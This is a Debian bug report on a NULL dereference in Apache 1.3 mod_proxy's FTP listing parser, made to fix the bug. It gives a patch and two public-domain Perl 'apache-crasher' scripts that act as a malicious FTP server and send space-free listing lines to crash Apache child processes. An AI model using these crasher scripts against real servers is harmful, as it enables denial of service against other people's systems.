Subject: apache-common: mod_proxy segfaults (NULL deref.) when FTP server sends back no spaces Package: apache-common Version: 1.3.34-4 Severity: important Tags: patch
Hello, I have found a NULL dereferencing bug in mod_proxy. If there is a malicious remote FTP server and someone uses Apache and mod_proxy to connect to that FTP server, the server can reply to "LIST" with a directory listing showing directories or ordinary files with no spaces whatsoever in the line. There is a strrchr(3) call with no check if it returns NULL, and the code afterwards crashes the Apache child when the server sends back such lines without spaces. The bug both affects the 1.3.x and 2.x branches of Apache. I do not see any security implications to this bug, despite the remote crashing, as it only seems possible to use it to crash the Apache child and not the main process, no matter what MPM you use. This was reported to upstream a few months ago: o http://issues.apache.org/bugzilla/show_bug.cgi?id=40733 // Ulf Harnhammar metaur:~# fgrep ftpspecial /etc/services ftpspecial 1096/tcp ftpspecial 1096/udp metaur:~# tail -n2 /etc/inetd.conf ftp stream tcp nowait root /usr/bin/perl perl /root/apache-crasher.pl ftpspecial stream tcp nowait root /usr/bin/perl perl /root/apache-crasher2.pl metaur:~# fgrep -A33 'mod_proxy' /etc/apache/httpd.conf <IfModule mod_proxy.c> # # Proxy Server directives. Uncomment the following lines to # enable the proxy server: # ProxyRequests On <Directory proxy:*> Order deny,allow Deny from all Allow from 127.0.0.1 </Directory> # # Enable/disable the handling of HTTP/1.1 "Via:" headers. # ("Full" adds the server version; "Block" removes all outgoing Via: headers) # Set to one of: Off | On | Full | Block # #ProxyVia On # # To enable the cache as well, edit and uncomment the following lines: # (no cacheing without CacheRoot) # #CacheRoot "/var/cache/apache" #CacheSize 5 #CacheGcInterval 4 #CacheMaxExpire 24 #CacheLastModifiedFactor 0.1 #CacheDefaultExpire 1 #NoCache a_domain.com another_domain.edu joes.garage_sale.com </IfModule> metaur:~# nc localhost 80 GET ftp://localhost/ HTTP/1.0 metaur:~# cd /var/log/apache metaur:/var/log/apache# cat access.log metaur:/var/log/apache# cat error.log [Sat Dec 23 00:11:53 2006] [notice] Apache configured -- resuming normal operations [Sat Dec 23 00:11:53 2006] [notice] Accept mutex: sysvsem (Default: sysvsem) [Sat Dec 23 00:13:25 2006] [notice] child pid 20656 exit signal Segmentation fault (11) metaur:/var/log/apache# cd metaur:~# -- System Information: Debian Release: 4.0 APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.4.27-3-686 Locale: LANG=en_US, LC_CTYPE=en_US (charmap=ISO-8859-1) Versions of packages apache-common depends on: ii apache2-utils 2.2.3-3.2 utility programs for webservers ii debconf [debconf-2.0] 1.5.8 Debian configuration management sy ii dillo [www-browser] 0.8.5-4 Small and fast web browser ii elinks [www-browser] 0.11.1-1.2 advanced text-mode WWW browser ii epiphany-browser [www 2.14.3-3 Intuitive GNOME web browser ii firefox [www-browser] 1.5.dfsg+1.5.0.7-2 lightweight web browser based on M ii galeon [www-browser] 2.0.2-4 GNOME web browser for advanced use ii konqueror [www-browse 4:3.5.5a.dfsg.1-2 KDE's advanced file manager, web b ii libc6 2.3.6.ds1-8 GNU C Library: Shared libraries ii libdb4.4 4.4.20-8 Berkeley v4.4 Database Libraries [ ii libexpat1 1.95.8-3.3 XML parsing C library - runtime li ii links2 [www-browser] 2.1pre26-4 Web browser running in both graphi ii lynx [www-browser] 2.8.5-2sarge2.2 Text-mode WWW Browser ii mime-support 3.39-1 MIME files 'mime.types' & 'mailcap ii perl 5.8.8-6.1 Larry Wall's Practical Extraction ii sed 4.1.5-1 The GNU sed stream editor ii ucf 2.0017 Update Configuration File: preserv apache-common recommends no packages. -- debconf information excluded
--- src/modules/proxy/proxy_ftp.c.old 2006-12-22 23:44:57.000000000 +0100 +++ src/modules/proxy/proxy_ftp.c 2006-12-23 00:23:13.000000000 +0100 @@ -357,33 +357,38 @@ static long int send_dir(BUFF *data, req } filename = strrchr(buf, ' '); - *(filename++) = 0; - - /* handle filenames with spaces in 'em */ - if (!strcmp(filename, ".") || !strcmp(filename, "..") || firstfile) { - firstfile = 0; - searchidx = filename - buf; - } - else if (searchidx != 0 && buf[searchidx] != 0) { - *(--filename) = ' '; - buf[searchidx - 1] = 0; - filename = &buf[searchidx]; - } - - /* Special handling for '.' and '..': append slash to link */ - if (!strcmp(filename, ".") || !strcmp(filename, "..") || buf[0] == 'd') { - ap_snprintf(buf2, buf_size, "%s <a href=\"%s/\">%s</a>\n", - ap_escape_html(p, buf), ap_escape_uri(p, filename), - ap_escape_html(p, filename)); - } - else { - ap_snprintf(buf2, buf_size, "%s <a href=\"%s\">%s</a>\n", - ap_escape_html(p, buf), - ap_escape_uri(p, filename), - ap_escape_html(p, filename)); + if (filename == NULL) { + ap_log_rerror(APLOG_MARK, APLOG_ERR, c->req, + "proxy: error parsing %s", buf); + } else { + *(filename++) = 0; + + /* handle filenames with spaces in 'em */ + if (!strcmp(filename, ".") || !strcmp(filename, "..") || firstfile) { + firstfile = 0; + searchidx = filename - buf; + } + else if (searchidx != 0 && buf[searchidx] != 0) { + *(--filename) = ' '; + buf[searchidx - 1] = 0; + filename = &buf[searchidx]; + } + + /* Special handling for '.' and '..': append slash to link */ + if (!strcmp(filename, ".") || !strcmp(filename, "..") || buf[0] == 'd') { + ap_snprintf(buf2, buf_size, "%s <a href=\"%s/\">%s</a>\n", + ap_escape_html(p, buf), ap_escape_uri(p, filename), + ap_escape_html(p, filename)); + } + else { + ap_snprintf(buf2, buf_size, "%s <a href=\"%s\">%s</a>\n", + ap_escape_html(p, buf), + ap_escape_uri(p, filename), + ap_escape_html(p, filename)); + } + ap_cpystrn(buf, buf2, buf_size); + n = strlen(buf); } - ap_cpystrn(buf, buf2, buf_size); - n = strlen(buf); } /* else??? What about other OS's output formats? */ else {
#!/usr/bin/perl -- # apache-crasher.pl # by Ulf Harnhammar in 2004-2006 # I hereby place this program in the public domain. use strict; use Socket; $main::loggedin = 0; sub mysend($) { print "$_[0]\015\012"; } # sub mysend($) sub myreceive($) { my $inp = ''; $inp = <STDIN>; $inp =~ tr/\015\012\000//d; $_[0] = $inp; } # sub myreceive($) $main::ipline = `/sbin/ifconfig | egrep '^ *inet addr:' | fgrep -v '127.0.0.1'`; $main::ipline =~ s|^ *inet addr:||; $main::ipline =~ s|^([0-9.]+).*$|$1|s; die "don't know my address\n" unless $main::ipline; $main::ipline =~ tr/./,/; $|++; mysend('220 Welcome to apache crasher 0.1.0 !!'); while (1) { my ($str, $savestr, $reststr) = ('', '', ''); alarm 5; myreceive($str); alarm 0; $savestr = $str; $str =~ s|^([A-Z]+) *(.*)$|$1|; $reststr = $2; if ($str eq 'USER') { mysend('331 Anonymous access allowed, send identity (e-mail name) '. 'as password.'); $main::loggedin = 1; next; } if (($str eq 'PASS') && ($main::loggedin == 1)) { mysend('230 Anonymous user logged in.'); $main::loggedin = 2; next; } if ($main::loggedin < 2) { mysend("500 '$savestr': Command not understood."); next; } if ($str eq 'SYST') { mysend('215 Windows_NT'); next; } if ($str eq 'PWD') { mysend('257 "/" is current directory.'); next; } if ($str eq 'TYPE') { mysend("200 Type set to $reststr."); next; } if ($str eq 'PASV') { mysend("227 Entering Passive Mode ($main::ipline,4,72)"); next; } if ($str eq 'LIST') { sleep 2; mysend('226 Transfer complete.'); next; } if ($str eq 'QUIT') { mysend('221 Thanks for using apache crasher 0.1.0 !'); exit 0; } mysend("500 '$savestr': Command not understood."); } # while 1 __END__
#!/usr/bin/perl -- # apache-crasher2.pl # by Ulf Harnhammar in 2006 # I hereby place this program in the public domain. print '-rwxrwxrwx_______________________'. "Apache_Crasher_0.1.0\015\012";